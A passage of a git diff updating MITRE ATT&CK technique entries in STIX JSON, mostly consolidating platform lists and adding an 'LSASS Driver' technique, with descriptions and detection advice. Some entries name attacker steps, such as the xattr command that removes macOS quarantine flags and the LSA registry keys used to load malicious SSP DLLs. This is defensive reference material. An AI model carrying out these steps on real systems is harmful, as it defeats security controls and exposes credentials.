-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a.json b/enterprise-attack/attack-pattern/attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a.json
index 2a621b6863..534eec12a1 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--828e2e25-388f-4583-a0ec-a1212e401ce0",
+    "id": "bundle--36c0f077-1654-4f71-89e4-4cfe1ee3ada5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:18.867Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Redundant Access",
-            "description": "Adversaries may use more than one remote access tool with varying command and control protocols as a hedge against detection. If one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to Valid Accounts to use External Remote Services such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network. (Citation: Mandiant APT1)\n\nUse of a Web Shell is one such way to maintain access to a network through an externally accessible Web server.\n\nDetection: Existing methods of detecting remote access tools are helpful. Backup remote access tools or other access points may not have established command and control channels open during an intrusion, so the volume of data transferred may not be as high as the primary channel unless access is lost.\n\nDetection of tools based on beacon traffic, Command and Control protocol, or adversary infrastructure require prior threat intelligence on tools, IP addresses, and/or domains the adversary may use, along with the ability to detect use at the network boundary. Prior knowledge of indicators of compromise may also help detect adversary tools at the endpoint if tools are available to scan for those indicators.\n\nIf an intrusion is in progress and sufficient endpoint data or decoded command and control traffic is collected, then defenders will likely be able to detect additional tools dropped as the adversary is conducting the operation.\n\nFor alternative access using externally accessible VPNs or remote services, follow detection recommendations under Valid Accounts and External Remote Services to collect account use information.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Process monitoring, Process use of network, Packet capture, Network protocol analysis, File monitoring, Binary file metadata, Authentication logs\n\nDefense Bypassed: Anti-virus, Network intrusion detection system\n\nPermissions Required: User, Administrator, SYSTEM",
+            "description": "Adversaries may use more than one remote access tool with varying command and control protocols as a hedge against detection. If one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to Valid Accounts to use External Remote Services such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network. (Citation: Mandiant APT1)\n\nUse of a Web Shell is one such way to maintain access to a network through an externally accessible Web server.\n\nDetection: Existing methods of detecting remote access tools are helpful. Backup remote access tools or other access points may not have established command and control channels open during an intrusion, so the volume of data transferred may not be as high as the primary channel unless access is lost.\n\nDetection of tools based on beacon traffic, Command and Control protocol, or adversary infrastructure require prior threat intelligence on tools, IP addresses, and/or domains the adversary may use, along with the ability to detect use at the network boundary. Prior knowledge of indicators of compromise may also help detect adversary tools at the endpoint if tools are available to scan for those indicators.\n\nIf an intrusion is in progress and sufficient endpoint data or decoded command and control traffic is collected, then defenders will likely be able to detect additional tools dropped as the adversary is conducting the operation.\n\nFor alternative access using externally accessible VPNs or remote services, follow detection recommendations under Valid Accounts and External Remote Services to collect account use information.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process monitoring, Process use of network, Packet capture, Network protocol analysis, File monitoring, Binary file metadata, Authentication logs\n\nDefense Bypassed: Anti-virus, Network intrusion detection system\n\nPermissions Required: User, Administrator, SYSTEM",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -55,21 +55,9 @@
                 "SYSTEM"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--6c174520-beea-43d9-aac6-28fb77f3e446.json b/enterprise-attack/attack-pattern/attack-pattern--6c174520-beea-43d9-aac6-28fb77f3e446.json
index 87326d3f4c..76439dc627 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--6c174520-beea-43d9-aac6-28fb77f3e446.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--6c174520-beea-43d9-aac6-28fb77f3e446.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6c685125-95e1-427e-a265-50c0ed944bfc",
+    "id": "bundle--500b289c-da0f-49f3-a3d4-97b2720b9c8a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--6c174520-beea-43d9-aac6-28fb77f3e446",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:13.447Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Security Support Provider",
-            "description": "Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages</code> and <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.\n (Citation: Graeber 2014)\n\nDetection: Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key <code>HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe</code> with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: DLL monitoring, Windows Registry, Loaded DLLs\n\nPermissions Required: Administrator",
+            "description": "Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages</code> and <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.\n (Citation: Graeber 2014)\n\nDetection: Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key <code>HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe</code> with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)\n\nPlatforms: Windows\n\nData Sources: DLL monitoring, Windows Registry, Loaded DLLs\n\nPermissions Required: Administrator",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -46,18 +46,7 @@
                 "Administrator"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--6e6845c2-347a-4a6f-a2d1-b74a18ebd352.json b/enterprise-attack/attack-pattern/attack-pattern--6e6845c2-347a-4a6f-a2d1-b74a18ebd352.json
new file mode 100644
index 0000000000..0c57d71e8b
--- /dev/null
+++ b/enterprise-attack/attack-pattern/attack-pattern--6e6845c2-347a-4a6f-a2d1-b74a18ebd352.json
@@ -0,0 +1,75 @@
+{
+    "type": "bundle",
+    "id": "bundle--2b6db6a6-97ef-4b2f-a6d2-18e5c20591f3",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "attack-pattern",
+            "id": "attack-pattern--6e6845c2-347a-4a6f-a2d1-b74a18ebd352",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "LSASS Driver",
+            "description": "The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.  (Citation: Microsoft Security Subsystem)\n\nAdversaries may target lsass.exe drivers to obtain execution and/or persistence. By either replacing or adding illegitimate drivers (e.g., DLL Side-Loading or DLL Search Order Hijacking), an adversary can achieve arbitrary code execution triggered by continuous LSA operations.\n\nDetection: With LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014)\n\nUtilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA.\n\nUtilize the Sysinternals Process Monitor utility to monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security)\n\nPlatforms: Windows\n\nData Sources: API monitoring, DLL monitoring, File monitoring, Kernel drivers, Loaded DLLs, Process Monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nRemote Support: No\n\nContributors: Vincent Le Toux",
+            "kill_chain_phases": [
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "execution"
+                },
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "persistence"
+                }
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1177",
+                    "external_id": "T1177"
+                },
+                {
+                    "source_name": "Microsoft Security Subsystem",
+                    "description": "Microsoft. (n.d.). Security Subsystem Architecture. Retrieved November 27, 2017.",
+                    "url": "https://technet.microsoft.com/library/cc961760.aspx"
+                },
+                {
+                    "source_name": "Microsoft LSA Protection Mar 2014",
+                    "description": "Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017.",
+                    "url": "https://technet.microsoft.com/library/dn408187.aspx"
+                },
+                {
+                    "source_name": "Microsoft DLL Security",
+                    "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017.",
+                    "url": "https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx"
+                },
+                {
+                    "source_name": "TechNet Autoruns",
+                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
+                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_contributors": [
+                "Vincent Le Toux"
+            ],
+            "x_mitre_data_sources": [
+                "API monitoring",
+                "DLL monitoring",
+                "File monitoring",
+                "Kernel drivers",
+                "Loaded DLLs",
+                "Process Monitoring"
+            ],
+            "x_mitre_permissions_required": [
+                "Administrator",
+                "SYSTEM"
+            ],
+            "x_mitre_platforms": [
+                "Windows"
+            ],
+            "x_mitre_remote_support": false
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/attack-pattern/attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf.json b/enterprise-attack/attack-pattern/attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf.json
index d53513ce7c..2ab3518f0e 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5d8296ee-4756-46d4-89e8-506943f0815a",
+    "id": "bundle--069ef95b-a89a-4b3c-b258-1181a8c9a227",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:37.917Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Video Capture",
-            "description": "An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from Screen Capture due to use of specific devices or applications for video recording rather than capturing the victim's screen.\n\nDetection: Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring, File monitoring, API monitoring\n\nPermissions Required: User",
+            "description": "An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from Screen Capture due to use of specific devices or applications for video recording rather than capturing the victim's screen.\n\nDetection: Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, File monitoring, API monitoring\n\nPermissions Required: User",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -36,18 +36,7 @@
                 "User"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--6fb6408c-0db3-41d9-a3a1-a32e5f16454e.json b/enterprise-attack/attack-pattern/attack-pattern--6fb6408c-0db3-41d9-a3a1-a32e5f16454e.json
index 008186a186..06d2502fd5 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--6fb6408c-0db3-41d9-a3a1-a32e5f16454e.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--6fb6408c-0db3-41d9-a3a1-a32e5f16454e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b4ef9d97-460b-4867-8156-d36d449685c5",
+    "id": "bundle--9daba75c-c63b-4102-960c-596c6dd3758f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--6fb6408c-0db3-41d9-a3a1-a32e5f16454e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Gatekeeper Bypass",
-            "description": "In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called <code>com.apple.quarantine</code>. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution. \n\nApps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won\u2019t set this flag. Additionally, other utilities or events like drive-by downloads don\u2019t necessarily set it either. This completely bypasses the built-in Gatekeeper check (Citation: Methods of Mac Malware Persistence). The presence of the quarantine flag can be checked by the xattr command <code>xattr /path/to/MyApp.app</code> for <code>com.apple.quarantine</code>. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, <code>sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app</code>  (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X).\n \nIn typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS\u2019s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the url where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application  (Citation: Bypassing Gatekeeper).\n\nDetection: Monitoring for the removal of the <code>com.apple.quarantine</code> flag by a user instead of the operating system is a suspicious action and should be examined further.\n\nPlatforms: MacOS, OS X\n\nDefense Bypassed: Application whitelisting, Anti-virus\n\nPermissions Required: User, Administrator",
+            "description": "In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called <code>com.apple.quarantine</code>. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution. \n\nApps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won\u2019t set this flag. Additionally, other utilities or events like drive-by downloads don\u2019t necessarily set it either. This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the xattr command <code>xattr /path/to/MyApp.app</code> for <code>com.apple.quarantine</code>. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, <code>sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app</code>. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)\n \nIn typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS\u2019s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper)\n\nDetection: Monitoring for the removal of the <code>com.apple.quarantine</code> flag by a user instead of the operating system is a suspicious action and should be examined further.\n\nPlatforms: macOS\n\nDefense Bypassed: Application whitelisting, Anti-virus\n\nPermissions Required: User, Administrator",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -56,8 +56,7 @@
                 "Administrator"
             ],
             "x_mitre_platforms": [
-                "MacOS",
-                "OS X"
+                "macOS"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88.json b/enterprise-attack/attack-pattern/attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88.json
index 472202ade5..5c9d57dc7d 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1c75f451-3287-4cce-ab52-735662d65d78",
+    "id": "bundle--10a468df-0398-42b5-bff7-72683d7877b8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:43.472Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Software Packing",
-            "description": "Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.\n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.\n\nDetection: Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Binary file metadata\n\nDefense Bypassed: Anti-virus, heuristic detection, Signature-based detection",
+            "description": "Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.\n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.\n\nDetection: Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.\n\nPlatforms: Windows\n\nData Sources: Binary file metadata\n\nDefense Bypassed: Anti-virus, heuristic detection, Signature-based detection",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -41,18 +41,7 @@
                 "Signature-based detection"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0.json b/enterprise-attack/attack-pattern/attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0.json
index 097fb86aa1..0448ef5949 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--90aaa35b-8e41-43f8-b4c8-c9864ca36b2b",
+    "id": "bundle--99bd8b5b-1417-4425-905a-c25e8a2b3ca8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:27.342Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "System Network Configuration Discovery",
-            "description": "Adversaries will likely look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp, ipconfig/ifconfig, nbtstat, and route.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: User",
+            "description": "Adversaries will likely look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp, ipconfig/ifconfig, nbtstat, and route.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: User",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -35,21 +35,9 @@
                 "User"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08.json b/enterprise-attack/attack-pattern/attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08.json
index 8e818ea63a..cb41849822 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--58b50943-c064-495e-94ba-3632631a3cee",
+    "id": "bundle--6df009af-c99a-4515-b8d6-1fd3c0dd0ff6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:06.988Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Account Discovery",
-            "description": "Adversaries may attempt to get a listing of local system or domain accounts. \n\n===Windows===\n\nExample commands that can acquire this information are <code>net user</code>, <code>net group <groupname></code>, and <code>net localgroup <groupname></code> using the Net utility or through use of dsquery. If adversaries attempt to identify the primary user, currently logged in user, or set of users that commonly uses a system, System Owner/User Discovery may apply.\n\n===Mac===\n\nOn Mac, groups can be enumerated through the <code>groups</code> and <code>id</code> commands. In mac specifically, <code>dscl . list /Groups</code> and <code>dscacheutil -q group</code> can also be used to enumerate groups and users.\n\n===Linux===\n\nOn Linux, local users can be enumerated through the use of the <code>/etc/passwd</code> file which is world readable. In mac, this same file is only used in single-user mode in addition to the <code>/etc/master.passwd</code> file.\n\nAlso, groups can be enumerated through the <code>groups</code> and <code>id</code> commands. In mac specifically, <code>dscl . list /Groups</code> and <code>dscacheutil -q group</code> can also be used to enumerate groups and users.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: API monitoring, Process command-line parameters, Process monitoring\n\nPermissions Required: User",
